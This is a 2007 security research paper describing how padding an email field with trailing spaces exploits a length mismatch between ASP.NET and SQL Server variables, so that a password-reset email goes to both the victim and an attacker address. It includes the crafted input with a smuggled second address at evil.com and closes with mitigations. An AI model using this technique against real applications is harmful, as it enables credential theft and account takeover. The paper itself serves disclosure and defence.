sec-1

advanced network security assessment

Buffer Truncation Abuse in Microsoft SQL Server Based Applications

Author	Gary O'Leary-Steele
Date:	24/05/07
Version	1.0

Foreword

This paper is designed to document an attack technique Sec-1 recently adopted during the course of their application assessments. The basic principal of this technique has existed for some time; however we hope this paper we will provide an insight of how a variation of the technique can be adopted to attack common “forgotten password” functionality within web applications.

The document is split into two sections. The first section covers the principals of the technique and the second is an attack case study against a commercial application (Removed in this release).

Attacking "Forgotten Password" Components

The majority of web applications that require users to authenticate will also provide a method for the user to retrieve or reset his or her lost account details. The method by which these components operate can differ widely, this is due to a number of reasons such as development style, language, logic or operating environment. Whilst this attack is not necessarily restricted to one environment or development style this paper will concentrate on the following popular components:

Note: This example is based upon a real world web application encountered by the Sec-1 ANSA team.

Environment

Component	Type
Presentation Server	**Microsoft IIS 6.0**
Server Side Script Type	**ASP .NET (Visual Basic)**
Database	**Microsoft SQL Server (Using Custom Stored Procedures)**

Password Recovery Process

1. User enters his/her email address

2. The email address is loaded into an SQL variable[1]. The variable is then used to search an SQL database table for the user account. The username (email address) and password are retrieved.

3. The application emails retrieved account details to the user

Note: in the case study we will see a similar process except the password is reset rather than retrieved.

Attack Preamble

Before we dive into the attack process it's important to cover the key elements which make this particular attack possible. If you are comfortable with VB .NET and Microsoft SQL variables you can omit this section.

[1] The use of SQL variables to hold user supplied data is common practice within custom stored procedures. However SQL variables may be used in other scenarios.

Server Variables

The type and size of server side variables are key to the attack and underlying flaw. In this example the application is implemented using Microsoft VB (ASP .NET) and Microsoft SQL server.

Each of these define their variables slightly differently, see an example of each below:

ASP .NET (VB) Variable Declaration

```
Dim UserNameAsEmail AS String
```

In the above statement the developer has created a variable named `UserNameAsEmail` to hold the user's email address (in this case the email address and username are one and the same). Since this is a Visual Basic application the developer is not required to specify a maximum size (the default is 64KB), however this is recommended.

Microsoft SQL Variable Declaration

```
Declare @UserNameAsEmail varchar(320)
```

The above SQL statement creates a variable designed to hold a character string up to 320 characters in length (320 characters is the maximum length for a valid email address According to RFC 2821). As a side note the maximum length of a type varchar is 8000 bytes[2]

White Space

Microsoft SQL server ignores trailing white space within string values. This can be demonstrated by executing the following SQL statements.

```
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = 'garyo@sec-1.com'
3> select username,password FROM UserEmail where username=@UserNameAsEmail
4> go

 username             password
 -------------------- -------------
 garyo@sec-1.com      d32ed£%dZZA
```

The same result is produced with additional trailing white space.

```
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = 'garyo@sec-1.com                    '
3> select username,password FROM UserEmail where username=@UserNameAsEmail
4> go

 username             password
 -------------------- -------------
 garyo@sec-1.com      d32ed£%dZZA
```

[2] According to http://msdn2.microsoft.com/en-us/library/aa258242(SQL.80).aspx

The Vulnerability

The vulnerability occurs when there is a variable length mismatch between the ASP .NET variable and the Microsoft SQL variable. If the ASP .NET variable length is larger than the maximum length of the SQL server variable we can pad our submitted value to influence/subvert the “forgotten password” process.

Our aim is to have the SQL Server interpret the valid email address and return a user account to the attacker via an arbitrary email address.

To illustrate the attack, the password recovery process (page 2) is repeated below along with our exploit method and affected server side variables.

Note: the variable lengths are represented as relative to fit the document.

Step 1:

The user (Attacker) enters the following email address where u@target.com is the victim and a@evil.com is the attacker.

```
        u@target.com [308 Spaces]; a@evil.com
```

This is stored within the .NET variable `UserNameAsEmail`

a	@	t	a	r	g	e	t	.	c	o	m	**White Space [308]**	;	a	@	e	v	i	l	.	c	o	m

<----------------------12 Bytes----------------><-----308 bytes----->
<---------------------------------320 Bytes Total---------------------->

Step 2:

The user email address is copied into the SQL server variable. Note that the SQL server variable can only hold up to 320 bytes of data and therefore accepts our data up to the end of the white space padding.

Microsoft SQL variable:

a	@	t	a	r	g	e	t	.	c	o	m	**White Space**

The data held in the Microsoft SQL variable is then used to retrieve the users account details. Since white space is ignored (see section titled white space) the effective data is that of the victims email address “a@target.com”

Step 3:

Assuming we entered a valid email address for the victim user the SQL server will return the user account credentials to the .NET application.

A component designed to email the “forgotten password” to the user is then called and passed the .NET variable as its target email address.

White space is ignored by the ASP.NET emailing function making the effecting email address:

```
u@target.com; a@evil.com
```

An email containing user users account details is then sent to both the victim and the attacker.

Case Study: N/A

The case study has been removed from this release. Once the vendor has fixed the issue the paper will be updated.

Mitigation

The problem described in this paper can be easily mitigated through secure development practices.

For example the following code amendments could be included to resolve the vulnerability.

Input validation

The first step should be to validate the email address to only permit good characters. Any violation of this filter should be logged for further analysis.

For further information on what constitutes "good characters" within an email address see RFC2822[3] and the Wikipedia[4] article.

Secure Variable Creation

Ensuring the .NET variable and Microsoft SQL server variable have the same maximum length. In the case of the first example the following variable declarations could be used:

```
Dim UserNameAsEmail AS String * 320

Declare @UserNameAsEmail varchar(320)
```

[3] http://tools.ietf.org/html/rfc2822
[4] http://en.wikipedia.org/wiki/E-mail_address